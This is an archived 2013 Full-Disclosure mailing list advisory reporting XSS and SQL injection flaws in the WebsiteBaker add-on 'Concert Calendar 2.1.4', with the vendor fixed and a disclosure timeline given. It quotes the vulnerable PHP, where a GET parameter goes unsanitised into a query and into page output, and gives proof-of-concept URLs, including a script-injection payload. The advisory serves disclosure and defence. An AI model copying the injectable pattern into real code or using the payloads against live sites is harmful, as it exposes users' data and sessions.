full-disclosure - Websitebaker Add-on 'Concert Calendar 2.1.4' XSS & SQLi vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <50EF1011.5010904@t-online.de>
Date: Thu, 10 Jan 2013 20:01:37 +0100
From: Stefan Schurtz <sschurtz@...nline.de>
To: full-disclosure@...ts.grok.org.uk
Subject: Websitebaker Add-on 'Concert Calendar 2.1.4' XSS
	& SQLi vulnerability

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Advisory:		Websitebaker Add-on 'Concert Calendar 2.1.4' XSS & SQLi
vulnerability
Advisory ID:		SSCHADV2013-001
Author:			Stefan Schurtz
Affected Software:	Successfully tested on Concert Calendar 2.1.4
Vendor URL:	
http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37
Vendor Status:		fixed

==========================
Vulnerability Description
==========================

Websitebaker Add-on 'Concert Calendar 2.1.4' is prone to a XSS and SQLi
vulnerability

==========================
Vuln code
==========================

// view.php

if (isset($_GET['date'])) {
        $date = $_GET['date'];
}
.
.
.
// SQLi
$query_dates = mysql_query("SELECT * FROM
".TABLE_PREFIX."mod_concert_dates WHERE section_id = '$section_id' &&
concert_date = '$date'"); // Zeile 184

// XSS

echo " ".switch_date($date, $dateview)." "; // Zeile 176

==========================
PoC-Exploit
==========================

// SQLi (magic_quotes = off)

http://[target]/wb/pages/addon.php?date=[SQLi]

// XSS

http://[target]/wb/pages/addon.php?date='"><script>alert(document.cookie)</script>

==========================
Solution
==========================

Update to the latest version Concert Calendar 2.2

==========================
Disclosure Timeline
==========================

01-Jan-2013 - developer informed
08-Jan-2013 - fixed by developer

==========================
Credits
==========================

Vulnerabilities found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37
http://www.darksecurity.de/advisories/2013/SSCHADV2013-001.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (MingW32)
Comment: Thunderbird-Portable 3.1.20 by GnuPT - Gnu Privacy Tools
Comment: Download at: http://thunderbird.gnupt.de

iEYEARECAAYFAlDvEA8ACgkQg3svV2LcbMCqAwCcCA1yWal9t1Bdeu33qBOpip2i
XMcAn2e08M5GNyZ5TfSy5BiCB08+W+bF
=97A/
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/